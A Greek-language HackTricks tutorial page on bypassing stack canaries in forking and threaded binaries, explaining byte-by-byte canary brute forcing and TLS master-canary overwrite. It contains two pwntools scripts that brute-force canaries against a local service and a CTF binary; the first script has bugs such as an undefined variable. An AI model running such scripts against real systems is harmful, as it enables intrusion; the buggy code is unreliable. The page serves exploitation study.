BF Forked & Threaded Stack Canaries

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεται να βρείτε έναν τρόπο να τα παρακάμψετε.

Σημειώστε ότι το checksec ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary αν αυτό ήταν στατικά μεταγλωττισμένο και δεν είναι ικανό να αναγνωρίσει τη λειτουργία. Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν την έξοδο.

Βίαιη δύναμη Canary

Ο καλύτερος τρόπος να παρακάμψετε ένα απλό canary είναι αν το δυαδικό είναι ένα πρόγραμμα που δημιουργεί παιδικές διεργασίες κάθε φορά που καθιερώνετε μια νέα σύνδεση μαζί του (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό θα χρησιμοποιηθεί το ίδιο canary.

Στη συνέχεια, ο καλύτερος τρόπος να παρακάμψετε το canary είναι απλώς να το επιτεθείτε βίαια χαρακτήρα προς χαρακτήρα, και μπορείτε να καταλάβετε αν ο υπολογισμένος χαρακτήρας canary ήταν σωστός ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει την κανονική του ροή. Σε αυτό το παράδειγμα η συνάρτηση επιτίθεται βίαια σε ένα canary 8 Bytes (x64) και διακρίνει μεταξύ ενός σωστού υπολογισμένου χαρακτήρα και ενός κακού χαρακτήρα απλώς ελέγχοντας αν ένας αποκρίνεται επιστρέφεται από τον εξυπηρετητή (μια άλλη μέθοδος σε άλλη κατάσταση θα μπορούσε να είναι η χρήση ενός try/except):

Παράδειγμα 1

Αυτό το παράδειγμα είναι υλοποιημένο για 64bit αλλά θα μπορούσε εύκολα να υλοποιηθεί για 32 bit.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Παράδειγμα 2

Αυτό υλοποιείται για 32 bits, αλλά μπορεί εύκολα να αλλάξει σε 64 bits. Επίσης, να σημειωθεί ότι για αυτό το παράδειγμα το πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου και τη φορτίο.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Νήματα

Τα νήματα της ίδιας διεργασίας θα μοιράζονται το ίδιο διακριτικό canary, επομένως θα είναι δυνατό να δοκιμαστεί βίαια ένα canary αν το δυαδικό αρχείο δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.

Επιπλέον, μια υπερχείλιση buffer σε μια συνάρτηση με νήματα που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να τροποποιήσει τον κύριο canary που αποθηκεύεται στο TLS. Αυτό συμβαίνει επειδή είναι πιθανό να φτάσει στη θέση μνήμης όπου αποθηκεύεται το TLS (και, συνεπώς, το canary) μέσω μιας υπερχείλισης buffer στη στοίβα ενός νήματος. Ως αποτέλεσμα, η αντιμετώπιση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα). Αυτή η επίθεση πραγματοποιείται στο writeup: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Ελέγξτε επίσης την παρουσίαση του https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 η οποία αναφέρει ότι συνήθως το TLS αποθηκεύεται από το mmap και όταν δημιουργείται μια στοίβα ενός νήματος δημιουργείται επίσης από το mmap σύμφωνα με αυτό, το οποίο μπορεί να επιτρέψει την υπερχείλιση όπως φαίνεται στο προηγούμενο writeup.

Άλλα παραδείγματα & αναφορές

Last updated